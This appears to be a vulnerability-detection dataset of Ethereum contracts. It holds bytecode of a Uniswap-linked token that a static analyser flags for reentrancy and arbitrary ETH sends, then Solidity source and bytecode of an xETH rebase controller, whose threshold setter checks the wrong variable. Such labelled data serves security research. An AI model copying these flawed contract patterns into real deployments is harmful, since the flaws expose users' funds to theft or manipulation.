0000000000000000000000000000008152600401610a3690612fb9565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee9061338f565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b61129e565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611dfd565b50565b610b7c61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fb9565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613039565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16673782dace9d9000006112a6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612946565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612946565b6040518363ffffffff1660e01b8152600401610e1d929190612e09565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612946565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e5b565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612af2565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550673782dace9d9000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611079929190612e32565b602060405180830381600087803b15801561109357600080fd5b505af11580156110a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cb9190612aa0565b5050565b6110d761129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90612fb9565b60405180910390fd5b600081116111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90612f79565b60405180910390fd5b6111d560646111c783673782dace9d9000006120f790919063ffffffff16565b61217290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120c9190613079565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130d90613019565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137d90612f39565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114649190613079565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d890612ff9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612ef9565b60405180910390fd5b60008111611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612fd9565b60405180910390fd5b61159c610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160a57506115da610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6d57600f60179054906101000a900460ff161561183d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117405750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183c57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178661129e565b73ffffffffffffffffffffffffffffffffffffffff1614806117fc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e461129e565b73ffffffffffffffffffffffffffffffffffffffff16145b61183b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183290613059565b60405180910390fd5b5b5b60105481111561184c57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f05750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a125750600f60179054906101000a900460ff165b15611ab35742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6257600080fd5b600a42611a6f91906131af565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abe30610782565b9050600f60159054906101000a900460ff16158015611b2b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b435750600f60169054906101000a900460ff165b15611b6b57611b5181611dfd565b60004790506000811115611b6957611b6847611c94565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c145750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1e57600090505b611c2a848484846121bc565b50505050565b6000838311158290611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f9190612ed7565b60405180910390fd5b5060008385611c879190613290565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce460028461217290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0f573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6060028461217290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8b573d6000803e3d6000fd5b5050565b6000600654821115611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd90612f19565b60405180910390fd5b6000611de06121e9565b9050611df5818461217290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e895781602001602082028036833780820191505090505b5090503081600081518110611ec7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6957600080fd5b505afa158015611f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa19190612946565b81600181518110611fdb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a6959493929190613094565b600060405180830381600087803b1580156120c057600080fd5b505af11580156120d4573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210a576000905061216c565b600082846121189190613236565b90508284826121279190613205565b14612167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215e90612f99565b60405180910390fd5b809150505b92915050565b60006121b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612214565b905092915050565b806121ca576121c9612277565b5b6121d58484846122a8565b806121e3576121e2612473565b5b50505050565b60008060006121f6612484565b9150915061220d818361217290919063ffffffff16565b9250505090565b6000808311829061225b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122529190612ed7565b60405180910390fd5b506000838561226a9190613205565b9050809150509392505050565b600060085414801561228b57506000600954145b15612295576122a6565b600060088190555060006009819055505b565b6000806000806000806122ba876124e3565b95509550955095509550955061231886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f9816125f3565b61240384836126b0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124609190613079565b60405180910390a3505050505050505050565b600880819055506004600981905550565b600080600060065490506000673782dace9d90000090506124b8673782dace9d90000060065461217290919063ffffffff16565b8210156124d657600654673782dace9d9000009350935050506124df565b81819350935050505b9091565b60008060008060008060008060006125008a6008546009546126ea565b92509250925060006125106121e9565b905060008060006125238e878787612780565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c30565b905092915050565b60008082846125a491906131af565b9050838110156125e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e090612f59565b60405180910390fd5b8091505092915050565b60006125fd6121e9565b9050600061261482846120f790919063ffffffff16565b905061266881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126c58260065461254b90919063ffffffff16565b6006819055506126e08160075461259590919063ffffffff16565b6007819055505050565b6000806000806127166064612708888a6120f790919063ffffffff16565b61217290919063ffffffff16565b905060006127406064612732888b6120f790919063ffffffff16565b61217290919063ffffffff16565b905060006127698261275b858c61254b90919063ffffffff16565b61254b90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279985896120f790919063ffffffff16565b905060006127b086896120f790919063ffffffff16565b905060006127c787896120f790919063ffffffff16565b905060006127f0826127e2858761254b90919063ffffffff16565b61254b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281c6128178461312e565b613109565b9050808382526020820190508285602086028201111561283b57600080fd5b60005b8581101561286b57816128518882612875565b84526020840193506020830192505060018101905061283e565b5050509392505050565b6000813590506128848161376c565b92915050565b6000815190506128998161376c565b92915050565b600082601f8301126128b057600080fd5b81356128c0848260208601612809565b91505092915050565b6000813590506128d881613783565b92915050565b6000815190506128ed81613783565b92915050565b6000813590506129028161379a565b92915050565b6000815190506129178161379a565b92915050565b60006020828403121561292f57600080fd5b600061293d84828501612875565b91505092915050565b60006020828403121561295857600080fd5b60006129668482850161288a565b91505092915050565b6000806040838503121561298257600080fd5b600061299085828601612875565b92505060206129a185828601612875565b9150509250929050565b6000806000606084860312156129c057600080fd5b60006129ce86828701612875565b93505060206129df86828701612875565b92505060406129f0868287016128f3565b9150509250925092565b60008060408385031215612a0d57600080fd5b6000612a1b85828601612875565b9250506020612a2c858286016128f3565b9150509250929050565b600060208284031215612a4857600080fd5b600082013567ffffffffffffffff811115612a6257600080fd5b612a6e8482850161289f565b91505092915050565b600060208284031215612a8957600080fd5b6000612a97848285016128c9565b91505092915050565b600060208284031215612ab257600080fd5b6000612ac0848285016128de565b91505092915050565b600060208284031215612adb57600080fd5b6000612ae9848285016128f3565b91505092915050565b600080600060608486031215612b0757600080fd5b6000612b1586828701612908565b9350506020612b2686828701612908565b9250506040612b3786828701612908565b9150509250925092565b6000612b4d8383612b59565b60208301905092915050565b612b62816132c4565b82525050565b612b71816132c4565b82525050565b6000612b828261316a565b612b8c818561318d565b9350612b978361315a565b8060005b83811015612bc8578151612baf8882612b41565b9750612bba83613180565b925050600181019050612b9b565b5085935050505092915050565b612bde816132d6565b82525050565b612bed81613319565b82525050565b6000612bfe82613175565b612c08818561319e565b9350612c1881856020860161332b565b612c2181613465565b840191505092915050565b6000612c3960238361319e565b9150612c4482613476565b604082019050919050565b6000612c5c602a8361319e565b9150612c67826134c5565b604082019050919050565b6000612c7f60228361319e565b9150612c8a82613514565b604082019050919050565b6000612ca2601b8361319e565b9150612cad82613563565b602082019050919050565b6000612cc5601d8361319e565b9150612cd08261358c565b602082019050919050565b6000612ce860218361319e565b9150612cf3826135b5565b604082019050919050565b6000612d0b60208361319e565b9150612d1682613604565b602082019050919050565b6000612d2e60298361319e565b9150612d398261362d565b604082019050919050565b6000612d5160258361319e565b9150612d5c8261367c565b604082019050919050565b6000612d7460248361319e565b9150612d7f826136cb565b604082019050919050565b6000612d9760178361319e565b9150612da28261371a565b602082019050919050565b6000612dba60118361319e565b9150612dc582613743565b602082019050919050565b612dd981613302565b82525050565b612de88161330c565b82525050565b6000602082019050612e036000830184612b68565b92915050565b6000604082019050612e1e6000830185612b68565b612e2b6020830184612b68565b9392505050565b6000604082019050612e476000830185612b68565b612e546020830184612dd0565b9392505050565b600060c082019050612e706000830189612b68565b612e7d6020830188612dd0565b612e8a6040830187612be4565b612e976060830186612be4565b612ea46080830185612b68565b612eb160a0830184612dd0565b979650505050505050565b6000602082019050612ed16000830184612bd5565b92915050565b60006020820190508181036000830152612ef18184612bf3565b905092915050565b60006020820190508181036000830152612f1281612c2c565b9050919050565b60006020820190508181036000830152612f3281612c4f565b9050919050565b60006020820190508181036000830152612f5281612c72565b9050919050565b60006020820190508181036000830152612f7281612c95565b9050919050565b60006020820190508181036000830152612f9281612cb8565b9050919050565b60006020820190508181036000830152612fb281612cdb565b9050919050565b60006020820190508181036000830152612fd281612cfe565b9050919050565b60006020820190508181036000830152612ff281612d21565b9050919050565b6000602082019050818103600083015261301281612d44565b9050919050565b6000602082019050818103600083015261303281612d67565b9050919050565b6000602082019050818103600083015261305281612d8a565b9050919050565b6000602082019050818103600083015261307281612dad565b9050919050565b600060208201905061308e6000830184612dd0565b92915050565b600060a0820190506130a96000830188612dd0565b6130b66020830187612be4565b81810360408301526130c88186612b77565b90506130d76060830185612b68565b6130e46080830184612dd0565b9695505050505050565b60006020820190506131036000830184612ddf565b92915050565b6000613113613124565b905061311f828261335e565b919050565b6000604051905090565b600067ffffffffffffffff82111561314957613148613436565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ba82613302565b91506131c583613302565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131fa576131f96133d8565b5b828201905092915050565b600061321082613302565b915061321b83613302565b92508261322b5761322a613407565b5b828204905092915050565b600061324182613302565b915061324c83613302565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613285576132846133d8565b5b828202905092915050565b600061329b82613302565b91506132a683613302565b9250828210156132b9576132b86133d8565b5b828203905092915050565b60006132cf826132e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332482613302565b9050919050565b60005b8381101561334957808201518184015260208101905061332e565b83811115613358576000848401525b50505050565b61336782613465565b810181811067ffffffffffffffff8211171561338657613385613436565b5b80604052505050565b600061339a82613302565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133cd576133cc6133d8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613775816132c4565b811461378057600080fd5b50565b61378c816132d6565b811461379757600080fd5b50565b6137a381613302565b81146137ae57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122035ebe3917223c688d07d3f98669550a28e2887afbd05469c7eeefb1d7a4d557564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,426 |
0xcF172e7936C819E81321A60f3134daaa8B797981
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;
interface UniswapPairContract {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface xETHTokenInterface {
//Public functions
function maxScalingFactor() external view returns (uint256);
function xETHScalingFactor() external view returns (uint256);
//rebase permissioned
function setTxFee(uint16 fee) external ;
function setSellFee(uint16 fee) external ;
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
}
contract xETHRebaser {
using SafeMath for uint256;
modifier onlyGov() {
require(msg.sender == gov, "This function can only be called by the governance address");
_;
}
/// @notice an event emitted when deviationThreshold is changed
event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold);
/// @notice Governance address
address public gov;
/// @notice Spreads out getting to the target price
uint256 public rebaseLag;
/// @notice Peg target
uint256 public targetRate;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
uint256 public deviationThreshold;
/// @notice Min time between last rebase and the next one
uint256 public minRebaseTimeIntervalSec;
/// @notice Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
/// @notice The number of rebase cycles since inception
uint256 public epoch;
address public xETHAddress;
address public uniswap_xeth_eth_pair;
mapping(address => bool) public whitelistFrom;
constructor(address xETHAddress_, address xEthEthPair_) public {
// First rebase can happen straight away
minRebaseTimeIntervalSec = 0;
lastRebaseTimestampSec = 0;
// 0.01 ETH
targetRate = 10**16;
// daily rebase, with targeting reaching peg in 2 days
rebaseLag = 2;
// 0.5%
deviationThreshold = 5 * 10**15;
uniswap_xeth_eth_pair = xEthEthPair_;
xETHAddress = xETHAddress_;
gov = msg.sender;
whitelistFrom[msg.sender] = true;
}
function setGovernance(address _newGovernance) external onlyGov {
gov = _newGovernance;
}
function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyGov {
whitelistFrom[_addr] = _whitelisted;
}
function _isWhitelisted(address _from) internal view returns (bool) {
return whitelistFrom[_from];
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is 1e18
*/
function rebase() public {
// Validate the address which triggered the rebase
// EOA only
require(msg.sender == tx.origin, "Message sender is not where the tx originated!");
require(_isWhitelisted(msg.sender), "Message sender is not authorized for rebasing!");
// Validate the gap since last rebase is big enough
uint256 elapsed = lastRebaseTimestampSec.add(minRebaseTimeIntervalSec);
require(elapsed < block.timestamp, "Not enough time has elapsed since last rebase!");
// Update rebase tracker parameters
epoch = epoch.add(1);
lastRebaseTimestampSec = block.timestamp;
minRebaseTimeIntervalSec = _computeTimeLeftUntilNextWindow();
// get price from uniswap v2;
uint256 exchangeRate = getPrice();
// calculates % change to supply
(uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate);
uint256 indexDelta = offPegPerc;
// Apply the Dampening factor.
indexDelta = indexDelta.div(rebaseLag);
xETHTokenInterface xETH = xETHTokenInterface(xETHAddress);
if (positive) {
require(xETH.xETHScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < xETH.maxScalingFactor(), "new scaling factor will be too big");
}
// rebase
xETH.rebase(epoch, indexDelta, positive);
assert(xETH.xETHScalingFactor() <= xETH.maxScalingFactor());
}
function _computeTimeLeftUntilNextWindow() private view returns (uint256) {
uint secsInDay = 1 days;
return secsInDay - (block.timestamp % secsInDay);
}
function getPrice() public view returns (uint256) {
(uint xethReserve, uint ethReserve, ) = UniswapPairContract(uniswap_xeth_eth_pair).getReserves();
uint xEthPrice = ethReserve.mul(10**18).div(xethReserve);
return xEthPrice;
}
function setDeviationThreshold(uint256 deviationThreshold_) external onlyGov {
require(deviationThreshold > 0);
uint256 oldDeviationThreshold = deviationThreshold;
deviationThreshold = deviationThreshold_;
emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_);
}
/**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each rebase.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_) external onlyGov {
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the targetRate parameter.
* @param targetRate_ The new target rate parameter.
*/
function setTargetRate(uint256 targetRate_) external onlyGov {
require(targetRate_ > 0);
targetRate = targetRate_;
}
function setSellFee(uint16 _fee) external onlyGov {
require(_fee > 0);
xETHTokenInterface(xETHAddress).setSellFee(_fee);
}
function setTxFee(uint16 _fee) external onlyGov {
require(_fee > 0);
xETHTokenInterface(xETHAddress).setTxFee(_fee);
}
/**
* @return Computes in % how far off market is from peg
*/
function computeOffPegPerc(uint256 rate) private view returns (uint256, bool) {
if (withinDeviationThreshold(rate)) {
return (0, false);
}
// indexDelta = (rate - targetRate) / targetRate
if (rate > targetRate) {
return (rate.sub(targetRate).mul(10**18).div(targetRate), true);
} else {
return (targetRate.sub(rate).mul(10**18).div(targetRate), false);
}
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate) private view returns (bool) {
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** 18);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
function divRound(uint256 x, uint256 y) internal pure returns (uint256) {
require(y != 0, "Div by zero");
uint256 r = x / y;
if (x % y != 0) {
r = r + 1;
}
return r;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063900cf0cf116100ad578063cc8fd39311610071578063cc8fd393146103d2578063cdabdaac146103f0578063d94ad8371461041e578063e064648a1461043c578063ff12bbf41461046e57610121565b8063900cf0cf146102fe57806398d5fdca1461031c578063ab033ea91461033a578063af14052c1461037e578063b181033a1461038857610121565b80633a93069b116100f45780633a93069b146101ee57806343684b211461020c57806353a15edc1461026857806363f6d4c8146102965780638835a658146102b457610121565b8063021018991461012657806312d43a511461014457806320ce83891461018e5780633986829d146101bc575b600080fd5b61012e6104be565b6040518082815260200191505060405180910390f35b61014c6104c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101ba600480360360208110156101a457600080fd5b81019080803590602001909291905050506104e9565b005b6101ec600480360360208110156101d257600080fd5b81019080803561ffff1690602001909291905050506105a5565b005b6101f66106f3565b6040518082815260200191505060405180910390f35b61024e6004803603602081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106f9565b604051808215151515815260200191505060405180910390f35b6102946004803603602081101561027e57600080fd5b8101908080359060200190929190505050610719565b005b61029e61081e565b6040518082815260200191505060405180910390f35b6102bc610824565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61030661084a565b6040518082815260200191505060405180910390f35b610324610850565b6040518082815260200191505060405180910390f35b61037c6004803603602081101561035057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061096b565b005b610386610a53565b005b610390610f94565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103da610fba565b6040518082815260200191505060405180910390f35b61041c6004803603602081101561040657600080fd5b8101908080359060200190